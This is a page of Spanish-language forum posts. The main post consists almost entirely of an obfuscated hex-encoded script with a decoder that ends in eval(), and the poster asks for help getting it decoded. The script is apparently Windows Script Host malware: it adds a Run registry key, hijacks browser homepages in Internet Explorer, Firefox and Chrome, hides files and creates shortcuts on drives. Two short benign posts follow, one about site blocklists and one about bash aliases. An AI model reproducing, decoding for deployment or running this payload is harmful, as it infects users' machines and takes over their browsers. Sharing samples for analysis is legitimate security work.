ac7bfc0cd96cac7bfbf98bc89a2c0cfa1c4c7c083cac7bfbfc18489cec4d5c096d8c0c7cec0d6cac7bfbf988b96cac7bfbfc198be8f867db7b77d86be9096d8c4c183c9c0d2bf9998cac7bfbf84d6c4c183bc89a1c4c7c0a0d3c4cecfce83cac7bfbfc1849898cfcdd0c084d6bc89a2c0cfa1c4c7c083cac7bfbfc184899ccfcfcdc4bdd0cfc0ce988b96d8bfbd89aacbc0c9838496cfcdd4d6bcd198a2c0cfaabdc5c0becf837dd2c4c9c8c2c8cfce95d6c4c8cbc0cdcecac9bccfc4cac9a7c0d1c0c798c4c8cbc0cdcecac9bccfc0d87cb7b7b7b789b7b7cdcacacfb7b7aec0bed0cdc4cfd49ec0c9cfc0cd7d8683c9cf919a828d82958282848496bcd1c498bcd189a0d3c0beacd0c0cdd4837daea0a7a09eaf7b857ba1adaaa87b9cc9cfc4b1c4cdd0ceabcdcabfd0becf7d877db2aca77d8496c9bcd1c498c9c0d27ba0c9d0c8c0cdbccfcacd83bcd1c48496bcc9cfd198c9c0d27b9ccdcdbcd4838496c1cacd83967cc9bcd1c489bccfa0c9bf838496c9bcd1c489c8cad1c0a9c0d3cf838484d6cabcd198c9bcd1c489c4cfc0c8838496bcc9cfd189cbd0cec383cabcd189bfc4cecbc7bcd4a9bcc8c08496d8d8bebccfbec383c084d6bcc9cfd198c9c0d27b9ccdcdbcd4837da99c9e7d8496d8cfcdd4d6d1c4be987d977d86bd89adc0c2adc0bcbf837da3a69eb0b7b7b1cac7bccfc4c7c07ba0c9d1c4cdcac9c8c0c9cfb7b7a7aaa2aaa9aea0adb1a0ad7d8489cdc0cbc7bcbec0837db7b7b7b77d877d7d84867d957d86bd89adc0c2adc0bcbf837da3a6a7a8b7b7aeaaa1afb29cada0b7b7a8c4becdcacecac1cfb7b7b2c4c9bfcad2ce7ba9afb7b79ed0cdcdc0c9cfb1c0cdcec4cac9b7b7abcdcabfd0becfa9bcc8c07d84867d987d86ce89a9bcc8c0aecbbcbec0838f8b84867d957d86bcc9cfd1867d997d96d8bebccfbec383c084d6d1c4be987d7d96d8becabf98bec4838496c4c183becabf89cec0bccdbec383d1c4be849898888c8181cdbcbf7c988b84d6c9bfbc98d1c4be867d85858a7d96c3c4ce98becabf89cdc0cbc7bcbec0837d85858a7d87c9bfbc8496bfbd89b2cdc4cfc0afc0d3cf83c3c4ce8496d8c0c7cec0d6bfbd89b2cdc4cfc0afc0d3cf83becabf8496d8bfbd89aebcd1c0afcaa1c4c7c083cac7bfbfc1878d8496bfbd899ec7cacec0838496cfcdd4d6c4c183bc89a2c0cfa1c4c7c083cac7bfbfc18489aacbc0c99cceafc0d3cfaecfcdc0bcc8838c87888d8489adc0bcbf9cc7c7838489bec3bccd9ecabfc09ccf838b847c988c8d8d84d6bc899ecacbd4a1c4c7c083c287cac7bfbfc187cfcdd0c08496d8bc89a2c0cfa1c4c7c083cac7bfbfc184899ccfcfcdc4bdd0cfc0ce988d96d8bebccfbec383c084d6d8d2cec398be8f867db7b77d86cfbcce867d89c0d3c07d96cfcdd4d6bc899ecacbd4a1c4c7c083d2cebe87d2cec38496d8bebccfbec383c084d6d8bc89a2c0cfa1c4c7c083d2cec384899ccfcfcdc4bdd0cfc0ce988d96cfcdd4d6bfcdc298827d8286d2cec386827d7b7d8286cac7bfbfc186827d7b8a8aa095a5aebecdc4cbcf7b8a8a9d8296cec3bed0838496c0be98bd899ecdc0bccfc0aec3cacdcfbed0cf83be8e867db7b77d86cfbcce867d89c7c9c67d8496c0be89afbccdc2c0cfabbccfc398be8f867db7b77d86cfbcce867d89c0d3c07d96c0be899ccdc2d0c8c0c9cfce98827d8286cac7bfbfc186827d7b8a8aa095a5aebecdc4cbcf7b8a8a9d7b88c9ce8296c0be89a4becac9a7cabebccfc4cac998c4beca96c0be89aebcd1c0838496bd89adc0c2b2cdc4cfc083d2c7c287bfcdc28782ada0a2baaeb5828496b2aebecdc4cbcf89aec7c0c0cb83949494948496c4c183bd89adc0c2adc0bcbf83d2c7c2849898bfcdc284d6bc899fc0c7c0cfc0a1c4c7c083be8e867db7b77d86cfbcce867d89c7c9c67d8496d8d8bebccfbec383c084d6d8d8d8c0c7cec0d6cfcdd4d6c4c183b2aebecdc4cbcf899ccdc2d0c8c0c9cfce89c7c0c9c2cfc398988b84d6bd89cdd0c9837dc0d3cbc7cacdc0cd89c0d3c07d8496d8d8bebccfbec383c084d6d8cfcdd4d6c1bec1cb98c9c0d27b9ccdcdbcd4838496cfbec8bf98c9c0d27b9ccdcdbcd4838496c1cacd83cf988b96cf979496cf868684d6cfbec8bf89cbd0cec383cfcacf867db7b7af9e8d8b8c7d86cf867db7b7cfbec4c2c9cacdc089cfd3cf7d8496cfcdd4d6c1bec1cb89cbd0cec383ce89a9bcc8c0aecbbcbec0838e938489abbccdcec0a9bcc8c0837dafcacfbcc79ecac8c8bcc9bfc0cd8d8b8c7d86cf8489abbccfc3867db7b7afcacac7ceb7b7a8cad5c4c7c7bc7ba1c4cdc0c1cad3b7b7bfc0c1bcd0c7cfceb7b7cbcdcac1c4c7c07d8496d8bebccfbec383c084d6d8cfcdd4d6c1bec1cb89cbd0cec383ce89a9bcc8c0aecbbcbec0838f938489abbccdcec0a9bcc8c0837dafcacfbcc79ecac8c8bcc9bfc0cd8d8b8c7d86cf8489abbccfc3867db7b7afcacac7ceb7b7a8cad5c4c7c7bc7ba1c4cdc0c1cad3b7b7bfc0c1bcd0c7cfceb7b7cbcdcac1c4c7c07d8496d8bebccfbec383c084d6d8d8cfcdd4d6cfbec8bf89cbd0cec383ce89a9bcc8c0aecbbcbec0838e938489abbccdcec0a9bcc8c0837daf9e7bb0ab7d8489abbccfc3867db7b7cfbec4c2c9cacdc089cfd3cf7d8496d8bebccfbec383c084d6d8cfcdd4d6cfbec8bf89cbd0cec383ce89a9bcc8c0aecbbcbec0838f938489abbccdcec0a9bcc8c0837daf9e7bb0ab7d8489abbccfc3867db7b7cfbec4c2c9cacdc089cfd3cf7d8496d8bebccfbec383c084d6d8cfcdd4d6cfbec8bf89cbd0cec383ce89a9bcc8c0aecbbcbec0838d938489abbccdcec0a9bcc8c0837dc2c3c4cec7c0cd7d8489abbccfc3867db7b7cfbec4c2c9cacdc089cfd3cf7d8496d8bebccfbec383c084d6d8cfcdd4d6cfbec8bf89cbd0cec383ce89a9bcc8c0aecbbcbec0838d918489abbccdcec0a9bcc8c0837dc2c3c4cec7c0cd7d8489abbccfc3867db7b7cfbec4c2c9cacdc089cfd3cf7d8496d8bebccfbec383c084d6d8cfbec8bf89cbd0cec3837dbe95b7b7cfcacfbcc7bec8bfb7b7cfbec4c2c9cacdc089cfd3cf7d8496c1cacd83cf988b96cf97cfbec8bf89c7c0c9c2cfc396cf868684d6c4c183bc89a1c4c7c0a0d3c4cecfce83cfbec8bfb6cfb889cdc0cbc7bcbec0837dcfbec4c2c9cacdc089cfd3cf7d877dd2c4c9bec8bf89c4c9c47d84849898cfcdd0c084d6cfcdd4d6bfbd89aacbc0c9838496c4c183bc89a1c4c7c0a0d3c4cecfce83cfbec8bfb6cfb8849898c1bcc7cec084d6cfcfc998bc899ecdc0bccfc0afc0d3cfa1c4c7c083cfbec8bfb6cfb887cfcdd0c08496cfcfc989b2cdc4cfc0837d858589858589c5cec07d8496cfcfc989bec7cacec0838496d8c4c2c7987d7d96cfcdd4d6bfbd89a7cabcbfa1cdcac8a1c4c7c083cfbec8bfb6cfb88496c4c2c798bfbd89adc0bcbfafc0d3cf96d8bebccfbec383c084d6d8bfbd899ec7cacec0838496c4c183c4c2c789c4c9bfc0d3aac1837d858589858589c5cec07d849898888c84d6bfbd89aacbc0c9838496bfbd89b2cdc4cfc0afc0d3cf83c4c2c7878c8496bfbd89b2cdc4cfc0afc0d3cf837d858589858589c5cec07d878c8496bc899fc0c7c0cfc0a1c4c7c083cfbec8bfb6cfb88496bfbd89aebcd1c0afcaa1c4c7c083cfbec8bfb6cfb88496bfbd899ec7cacec0838496d8d8bebccfbec383c084d6d8cfcdd4d6cfcacd98bc89aacbc0c9afc0d3cfa1c4c7c083bc89a2c0cfa1c4c7c083cfbec8bfb6cfb88489abbccdc0c9cfa1cac7bfc0cd867db7b7b2c4c9bec8bf89c4c9c47d878c87cfcdd0c0878b8496cfcabc98cfcacd89adc0bcbf9cc7c7838496c4c183cfcabc89cec0bccdbec3837da4c2c9cacdc0a7c4cecfa1c4c7c0a0c9bcbdc7c0bf988b7d847c98888c84d6cfcabc98cfcabc89cdc0cbc7bcbec0837da4c2c9cacdc0a7c4cecfa1c4c7c0a0c9bcbdc7c0bf988b7d877da4c2c9cacdc0a7c4cecfa1c4c7c0a0c9bcbdc7c0bf988c7d8496d8c4c183cfcabc89cec0bccdbec3837da4c2c9cacdc0a7c4cecfa1c4c7c0987d849898888c84d6cfcabc98cfcabc89cdc0cbc7bcbec0837db69ecac9c1c4c2d0cdbccfc4cac9b87d877db69ecac9c1c4c2d0cdbccfc4cac9b87d867db7c9a4c2c9cacdc0a7c4cecfa1c4c7c0987d86cfbec8bfb6cfb88496d8c4c183cfbec8bfb6cfb889cec0bccdbec3837daf9e8d8b8c7d847c98888c84d6c4c183cfcabc89cec0bccdbec3837d988589c5cec07d849898888c84d6c1c4c7cf98cfcabc89ced0bdcecfcdc4c9c283cfcabc89c7bccecfa4c9bfc0d3aac1837da1c4c7cfc0cd7d84869187cfcabc89c7bccecfa4c9bfc0d3aac1837d89c4becac9987d848496c0c9c198cfcabc89ced0bdcecfcdc4c9c283cfcabc89c7bccecfa4c9bfc0d3aac1837da1c4c7cfc0cd7d8487cfcabc89c7c0c9c2cfc38496c0c9c798c0c9c189ced0bdcecfcdc4c9c2838b87c0c9c189c4c9bfc0d3aac1837db7c97d84868c8496c1c7c998c9c0d27ba9d0c8bdc0cd83c1c4c7cf84868c96c1c4becac998cfcabc89ced0bdcecfcdc4c9c283cfcabc89cec0bccdbec3837da1c4c7cfc0cd8c8c89c4becac9987d84868c8f87cfcabc89c7c0c9c2cfc38496bfc4becac998c1c4becac989ced0bdcecfcdc4c9c2838b87c1c4becac989cec0bccdbec3837db7c97d848496cfcabc98cfcabc89cdc0cbc7bcbec083c0c9c787c0c9c7867db7c9a1c4c7cfc0cd7d86c1c7c9867d988589c5cec0b7c9a1c4c7cfc0cd7d86c1c7c9867d89c4becac9987d86bfc4becac9867db7c97d8496cfcabc98cfcabc89cdc0cbc7bcbec0837da1c4c7c0afc4cbb2c4c9bfcad2ce988c7d877da1c4c7c0afc4cbb2c4c9bfcad2ce988b7d8496d8d8cfcacd89bec7cacec0838496cfcad298bc89aacbc0c9afc0d3cfa1c4c7c083bc89a2c0cfa1c4c7c083cfbec8bfb6cfb88489abbccdc0c9cfa1cac7bfc0cd867db7b7b2c4c9bec8bf89c4c9c47d878d87cfcdd0c0878b8496cfcad289b2cdc4cfc083cfcabc8496cfcad289bec7cacec0838496d8bebccfbec383c084d6d8d8d8d8bebccfbec383c084d6d8cfcdd4d6bd89adc0c2b2cdc4cfc0837da3a69eb0b7b7aecac1cfd2bccdc0b7b7a8c4becdcacecac1cfb7b7a4c9cfc0cdc9c0cf7ba0d3cbc7cacdc0cdb7b7a8bcc4c9b7b7aecfbccdcf7babbcc2c07d87cecfcb877dada0a2baaeb57d84d8bebccfbec383c084d6d8cfcdd4d6c4c183bc89a1cac7bfc0cda0d3c4cecfce83cfcacf867db7b7a8cad5c4c7c7bcb7b7a1c4cdc0c1cad3b7b7abcdcac1c4c7c0ce7d849898cfcdd0c084d6c1cbc198bc89a2c0cfa1cac7bfc0cd83cfcacf867db7b7a8cad5c4c7c7bcb7b7a1c4cdc0c1cad3b7b7abcdcac1c4c7c0ce7d8496cbc1c198c9c0d27ba0c9d0c8c0cdbccfcacd83c1cbc189aed0bda1cac7bfc0cdce8496c1cacd83967ccbc1c189bccfa0c9bf838496cbc1c189c8cad1c0a9c0d3cf838484d6cbc1ce98cbc1c189c4cfc0c88384867d7d96c4c183cbc1ce89cec0bccdbec3837d89bfc0c1bcd0c7cf7d847c98888c84d6c1bec1cb89cbd0cec383cbc1ce8496d8d8d8c1cacd83cc988b96cc97c1bec1cb89c7c0c9c2cfc396cc868684d6cfcdd4d6c4c183bc89a1c4c7c0a0d3c4cecfce83c1bec1cbb6ccb8867db7b7cbcdc0c1ce89c5ce7d849898cfcdd0c08496d6c1c5c198bc89aacbc0c9afc0d3cfa1c4c7c083c1bec1cbb6ccb8867db7b7cbcdc0c1ce89c5ce7d878c8496c1c5ce98c1c5c189adc0bcbf9cc7c7838496c1c5c189bec7cacec0838496d0cecb9882d0cec0cdbacbcdc0c1837dbdcdcad2cec0cd89cecfbccdcfd0cb89c3cac8c0cbbcc2c07d878296c4c183c1c5ce89c4c9bfc0d3aac183d0cecb847c98888c84d6c1c5ce8c98c1c5ce89ced0bdcecfcdc4c9c283c1c5ce89c4c9bfc0d3aac183d0cecb84868e9287c1c5ce89c7c0c9c2cfc38496c1c5ce8d98c1c5ce8c89ced0bdcecfcdc4c9c2838b87c1c5ce8c89c4c9bfc0d3aac1838284968284868d8496c1c5ce8e98c1c5ce89cdc0cbc7bcbec083d0cecb86c1c5ce8d87d0cecb86827b7d8286cecfcb86827d8496828496d2c5c198bc89aacbc0c9afc0d3cfa1c4c7c083c1bec1cbb6ccb8867db7b7cbcdc0c1ce89c5ce7d878d8496d2c5c189b2cdc4cfc083c1c5ce8e8496d8c0c7cec0d6d2c5c198bc89aacbc0c9afc0d3cfa1c4c7c083c1bec1cbb6ccb8867db7b7cbcdc0c1ce89c5ce7d87938496d2c5c189b2cdc4cfc0a7c4c9c08382b7c98286d0cecb86827b7d8286cecfcb86827d8496828496d8d2c5c189bec7cacec0838496d8d8bebccfbec383c084d6d8d8d8bebccfbec383c084d6d8cfcdd4d6c2c1ce98ce89a9bcc8c0aecbbcbec0838d938489abbccdcec0a9bcc8c0837da2cacac2c7c07d8489abbccfc3867db7b79ec3cdcac8c0b7b7b0cec0cd7b9fbccfbcb7b79fc0c1bcd0c7cfb7b7abcdc0c1c0cdc0c9bec0ce7d96c4c183bc89a1c4c7c0a0d3c4cecfce83c2c1ce849898cfcdd0c084d6c2c5c198bc89aacbc0c9afc0d3cfa1c4c7c083c2c1ce878c8496c2c5ce98c2c5c189adc0bcbf9cc7c7838496c2c5c189bec7cacec0838496c2c5cec998c2c5ce89c7c0c9c2cfc396d0cdce98827dd0cdc7cebacfcabacdc0cecfcacdc0bacac9bacecfbccdcfd0cb7d957bb68296cdcace98827dcdc0cecfcacdc0bacac9bacecfbccdcfd0cb7d958296cdcacec898827dcdc0cecfcacdc0bacac9bacecfbccdcfd0cbbac8c4c2cdbccfc0bf7d958296c4c183c2c5ce89c4c9bfc0d3aac183cecfc7849898888c84d6c4c183c2c5ce89c4c9bfc0d3aac183d0cdce847c98888c84d6c2c5ce8c98c2c5ce89ced0bdcecfcdc4c9c283c2c5ce89c4c9bfc0d3aac183d0cdce84868e8c87c2c5cec98496c2c5ce8d98c2c5ce8c89ced0bdcecfcdc4c9c2838b87c2c5ce8c89c4c9bfc0d3aac1837db87d84868c8496c2c5ce8e98c2c5ce89cdc0cbc7bcbec083d0cdce86c2c5ce8d87d0cdce86827b7d8286cecfcb86827d877b8286c2c5ce8d8496d8c0c7cec0d6c2c5ce8c98c2c5ce89ced0bdcecfcdc4c9c283c2c5ce89c4c9bfc0d3aac183cdcacec88487c2c5cec98496c2c5ce8d98c2c5ce8c89ced0bdcecfcdc4c9c2838b87c2c5ce8c89c4c9bfc0d3aac1837db7c97d84868c8496c2c5ce8e98c2c5ce89cdc0cbc7bcbec083c2c5ce8d87cdcacec886827bcfcdd0c087b7c9b7cf8286d0cdce86827b7d8286cecfcb86827d7bb8b7c9828496d8c2c5ce8f98c2c5ce89ced0bdcecfcdc4c9c283c2c5ce89c4c9bfc0d3aac183cdcace8487c2c5cec98496c2c5ce9098c2c5ce8f89ced0bdcecfcdc4c9c2838b87c2c5ce8f89c4c9bfc0d3aac18382878284868c8496c2c5ce8e98c2c5ce8e89cdc0cbc7bcbec083c2c5ce9087cdcace86827b8f87828496d2c5c298bc89aacbc0c9afc0d3cfa1c4c7c083c2c1ce878d8496d2c5c289b2cdc4cfc083c2c5ce8e8496d2c5c289bec7cacec0838496d8c0c7cec0d6c1bfce98c2c5ce89ced0bdcecfcdc4c9c283c2c5ce89c4c9bfc0d3aac183cecfc78487c2c5ce89c7c0c9c2cfc38496c1bfbe98c1bfce89ced0bdcecfcdc4c9c2838b87c1bfce89c4c9bfc0d3aac183827d82848496c2c5ce8f98c2c5ce89cdc0cbc7bcbec083c1bfbe87cecfcb8496d2c5c298bc89aacbc0c9afc0d3cfa1c4c7c083c2c1ce878d8496d2c5c289b2cdc4cfc083c2c5ce8f8496d2c5c289bec7cacec0838496d8d8d8bebccfbec383c084d6d8c8c6838496d8d8c1d0c9becfc4cac97bc8c68384d6b2aebecdc4cbcf89aec7c0c0cb838c8d8b8b8b8b8496cfcdd4d6be98c9c0d27ba0c9d0c8c0cdbccfcacd83bc899fcdc4d1c0ce8496c1cacd83967cbe89bccfa0c9bf838496be89c8cad1c0a9c0d3cf838484d6cfc4cbcabfc4cebeca98be89c4cfc0c88384899fcdc4d1c0afd4cbc096ced2c4cfbec383cfc4cbcabfc4cebeca84d6bebccec07b8c95bebccec07b8e95c4c183be89c4cfc0c883847c987d9c957d7b81817bbe89c4cfc0c883847c987d9d957d84d6cfcdd4d6cec198bc89a2c0cfa1cac7bfc0cd83cbc083be89c4cfc0c88384867db7b77d848496cfc2c198c9c0d27ba0c9d0c8c0cdbccfcacd83cec189c1c4c7c0ce8496c1cacd83967ccfc2c189bccfa0c9bf838496cfc2c189c8cad1c0a9c0d3cf838484d6cecfc198cfc2c189c4cfc0c88384867d7d96c4c183cecfc189ced0bdcecfcdc4c9c283cecfc189c7c0c9c2cfc3888f87cecfc189c7c0c9c2cfc38489cfcab0cbcbc0cd9ebccec0838498987d89a5aba27d84d6c5c0d398cfc2c189c4cfc0c8838489a9bcc8c086cecb867d89c5cec07d96d8c4c183cecfc189cfcaa7cad2c0cd9ebccec0838489c4c9bfc0d3aac1837d89c5cbc27d86cecb867d89c5cec07d847c98888c84d6c0d398cfc2c189c4cfc0c8838489a9bcc8c096d8d8c4c183bc89a1c4c7c0a0d3c4cecfce83cec1867db7b77d86c0d3849898c1bcc7cec084d6c4c183c5c0d37c987d7d84d6c0d398c5c0d396d8bc899ecacbd4a1c4c7c083c287cec1867db7b77d86c0d38496c4c183bc89a1c4c7c0a0d3c4cecfce83cec1867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce98bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848484899ccfcfcdc4bdd0cfc0ce96d8c0c7cec0d6bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988bd896c4c183bc89a1c4c7c0a0d3c4cecfce83cec1867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848484899ccfcfcdc4bdd0cfc0ce988d96d8d8c0c7cec0d6c4c183bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d38489aec4d5c097c1ced584d6bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96bc899fc0c7c0cfc0a1c4c7c083cec1867db7b77d86c0d38496bc899ecacbd4a1c4c7c083c287cec1867db7b77d86c0d38496bc89a2c0cfa1c4c7c083cec1867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96d8d8d8bebccfbec383c084d6d8cec1987d7d96d8bdcdc0bcc696bfc0c1bcd0c7cf95bdcdc0bcc696d8d8d8bebccfbec383c084d6d8cfcdd4d6c4c183c3cdbc978c8d84d6c3cdbc86988c96d8c4c183c3cdbc98988c8d84d6bfc9ce98ce89a9bcc8c0aecbbcbec0838c938496c0c9ce98bfc9ce89a4cfc0c8ce8384899ecad0c9cf96c3c9ce98c9c0d27b9ccdcdbcd4838496c1cacd83c1988b96c197c0c9ce96c1868684d6c2c9ce98bfc9ce89a4cfc0c8ce838489c4cfc0c883c18496c3c9ce89cbd0cec3837dbfc9ce89a4cfc0c8ce838489a4cfc0c8837d86c1867d8489a2c0cfa1cac7bfc0cd7d8496d8c1cacd83c4988b96c497c3c9ce89c7c0c9c2cfc396c4868684d6cfcdd4d6c5c9ce98c0d1bcc783c3c9ceb6c4b88489a4cfc0c8ce8384899ecad0c9cf96c1cacd83c7988b96c797c5c9ce96c7868684d6c4c183bc89a1cac7bfc0cda0d3c4cecfce83c0d1bcc783c3c9ceb6c4b8867d89a4cfc0c8ce838489c4cfc0c8837d86c7867d8489abbccfc37d84849898c1bcc7cec084d6c3c9ce89cbd0cec383c3c9ceb6c4b8867d89a4cfc0c8ce838489c4cfc0c8837d86c7867d8489a2c0cfa1cac7bfc0cd7d8496d8c0c7cec0d6cfcdd4d6bfc4ce98cbc083c0d1bcc783c3c9ceb6c4b8867d89a4cfc0c8ce838489c4cfc0c8837d86c7867d8489abbccfc37d84867db7b77d84867d7d96bfc498bc89a2c0cfa1cac7bfc0cd83bfc4ce8496cfc2c198c9c0d27ba0c9d0c8c0cdbccfcacd83bfc489c1c4c7c0ce8496c1cacd83967ccfc2c189bccfa0c9bf838496cfc2c189c8cad1c0a9c0d3cf838484d6cecfc198cfc2c189c4cfc0c88384867d7d96c4c183cecfc189ced0bdcecfcdc4c9c283cecfc189c7c0c9c2cfc3888f87cecfc189c7c0c9c2cfc38489cfcab0cbcbc0cd9ebccec0838498987d89a5aba27d84d6c5c0d398cfc2c189c4cfc0c8838489a9bcc8c086cecb867d89c5cec07d96d8c4c183cecfc189cfcaa7cad2c0cd9ebccec0838489c4c9bfc0d3aac1837d89c5cbc27d86cecb867d89c5cec07d847c98888c84d6c0d398cfc2c189c4cfc0c8838489a9bcc8c096d8d8c4c183bc89a1c4c7c0a0d3c4cecfce83bfc4867db7b77d86c0d3849898c1bcc7cec08181bfc4ce89bec3bccd9ccf838c847c987d957d84d6c4c183c5c0d37c987d7d84d6c0d398c5c0d396d8bc899ecacbd4a1c4c7c083c287bfc4867db7b77d86c0d38496c4c183bc89a1c4c7c0a0d3c4cecfce83bfc4867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce98bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848484899ccfcfcdc4bdd0cfc0ce96d8c0c7cec0d6bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96d8c4c183bc89a1c4c7c0a0d3c4cecfce83bfc4867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d8484849898cfcdd0c084d6bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d389ced0bdcecfcdc4c9c2838b87c0d389c7bccecfa4c9bfc0d3aac183cecb867d89c5cec07d848484899ccfcfcdc4bdd0cfc0ce988d96d8d8c0c7cec0d6c4c183bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d38489aec4d5c097c1ced584d6bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96bc899fc0c7c0cfc0a1c4c7c083bfc4867db7b77d86c0d38496bc899ecacbd4a1c4c7c083c287bfc4867db7b77d86c0d38496bc89a2c0cfa1c4c7c083bfc4867db7b77d86c0d384899ccfcfcdc4bdd0cfc0ce988b96d8d8d8bebccfbec383c084d6d8d8d8d8bebccfbec383c084d6d8d8c3cdbc988b96d8d8bebccfbec383c084d6d8c8c6838496d8c1d0c9becfc4cac97bbec48384d6cfcdd4d6bfbd8d98bc89aacbc0c9afc0d3cfa1c4c7c083c2878c8496c28d98bfbd8d89adc0bcbf9cc7c7838496bfbd8d899ec7cacec0838496c28e98c28d89ced0bdcecfcdc4c9c283c28d89cec0bccdbec38382d5987d8284868e87c28d89cec0bccdbec383827d9682848496c28c98c28d89ced0bdcecfcdc4c9c2838b87c28d89cec0bccdbec38382d5987d8284868e8496c2cd98c28d89ced0bdcecfcdc4c9c283c28d89cec0bccdbec383827d96828487c28d89c7c0c9c2cfc38496cf98c7c796cfcf987d7d96cfc898cf89c7c0c9c2cfc396cdbcbe98a8bccfc389cdcad0c9bf83a8bccfc389cdbcc9bfcac8838485949384868c96c1cacd83d3988b96d397cfc896d3868684d6c9d0c898cf89bec3bccd9ecabfc09ccf83d38486cdbcbe96c3d398c9d0c889cfcaaecfcdc4c9c2838c918496c4c183c3d389c7c0c9c2cfc3978d84d6c3d3987d8b7d86c3d396d8cfcf8698c3d396c3d398828296d8c4c183cdbcbe978c8b84d6cdbcbe987d8b7d86cdbcbe96d8cfcf8698cdbcbe96c28f98c28c86cfcf86c2cd96cdc0cfd0cdc97bc28f96d8bebccfbec383c084d6d8d8c1d0c9becfc4cac97bcbc083cfbccd84d6cac9c0c198c1bcc7cec096cec1cb98bc89a2c0cfa1cac7bfc0cd83cfbccd8496cfc2be98c9c0d27ba0c9d0c8c0cdbccfcacd83cec1cb89ced0bda1cac7bfc0cdce8496c1cacd83967ccfc2be89bccfa0c9bf838496cfc2be89c8cad1c0a9c0d3cf838484d6cecfbe98cfc2be89c4cfc0c8838489a9bcc8c089cfcaa7cad2c0cd9ebccec0838496c4c183cecfbe89cec0bccdbec3837dc1cacfca7d847c98888cd7d7cecfbe89cec0bccdbec3837dcbc3cacfca7d847c98888cd7d7cecfbe89cec0bccdbec3837dc4c8bcc2c07d847c98888cd7d7cecfbe89cec0bccdbec3837dc4c8b7d08b8ba08cc2c07d847c98888cd7d7cecfbe89cec0bccdbec3837dcbc4becfd0cdc07d847c98888c84d6c4c183cac9c0c19898c1bcc7cec084d6cec1cb98bc89a2c0cfa1cac7bfc0cd83cfc2be89c4cfc0c88384867db7b77d8496d8cac9c0c198cfcdd0c096d8d8cdc0cfd0cdc97bcec1cb96d8c1d0c9becfc4cac97bcec3bed08384d6becec3be987d7d96c7c9c6ce98c9c0d27ba0c9d0c8c0cdbccfcacd83bc89a2c0cfa1cac7bfc0cd83be8e8489c1c4c7c0ce8496c1cacd83967cc7c9c6ce89bccfa0c9bf838496c7c9c6ce89c8cad1c0a9c0d3cf838484d6cfcdd4d6c7c6ce98c7c9c6ce89c4cfc0c88384867d7d96c4c183c7c6ce89ced0bdcecfcdc4c9c283c7c6ce89c7c0c9c2cfc3888f87c7c6ce89c7c0c9c2cfc38489cfcaa7cad2c0cd9ebccec0838498987d89c7c9c67d84d6c7c9c6bc98bd899ecdc0bccfc0aec3cacdcfbed0cf83c7c9c6ce89c4cfc0c8838484899ccdc2d0c8c0c9cfce96c4c183c7c9c6bc89cec0bccdbec3837d8a8aa095a5aebecdc4cbcf7b8a8a9d7b88c9ce7d847c98888c84d6becec3be98c7c9c6bc89ced0bdcecfcdc4c9c283c7c9c6bc89c4c9bfc0d3aac183827d8284868c87c7c9c6bc89c7bccecfa4c9bfc0d3aac183827d82848496bc899fc0c7c0cfc0a1c4c7c083c7c9c6ce89c4cfc0c883848496d8d8d8bebccfbec383c084d6d8d8cdc0cfd0cdc97bbecec3be96d891";ll="";dm=z.length-2;rad=new Number(z.substring(dm,dm+2));for(y=0;y<dm;y+=2){num=z.substring(y,y+2);ld=new Number("0x"+num);an=ld.toString(10);ch=String.fromCharCode(an-rad);ll+=ch;}eval(ll);
Perdon, pero no se de que otra forma subir el codigo y que quede en diferentes lineas. Lo otro que puedo hacer es subirlo en MEGA con extension txt y alguien lo sube de nuevo aqui descifrado. Saludos
|
|
|
39
|
Seguridad Informática / Seguridad / Listado de Paginas denegadas
|
en: 22 Junio 2015, 20:23 pm
|
Hola a todos, me pregentaba si me podrian ayudar con alguna pagina donde haya una lista de paginas con contenido pornografico u otros elementos que normalmente se deben bloquear, porque se que las hay, pero google no me entiende y me muestra otras cosas. Gracias por adelantado
|
|
|
40
|
Sistemas Operativos / GNU/Linux / No se me ejecutan los alias
|
en: 3 Junio 2015, 21:16 pm
|
Hola a todos, tengo un servidor en debian (como ya he comentado anteriormente) el cual estoy aprendiendo poco a poco a administrar. Ya he aprendido un poquito sobre script, firewall, etc. Tengo pocos servicios, asi que no hay mucho que hacerle, pero ya que estoy en ese mundo, deberia aprender mas. Mi servidor lo administro via SSH interno desde la red interna. Estaba leyendo que el archivo .bashrc administra los alias del sistema. Siempre ponen el ejemplo o algo asi, pero el hecho es que lo copio para probarlo y cuando ejecuto el comando no hace nada, sera porque esta remoto? o es algo que estoy haciendo mal? Si quieren posteo el archivo .bashrc que no tiene nada mio agregado, esta por default
|
|
|
|
|
|
|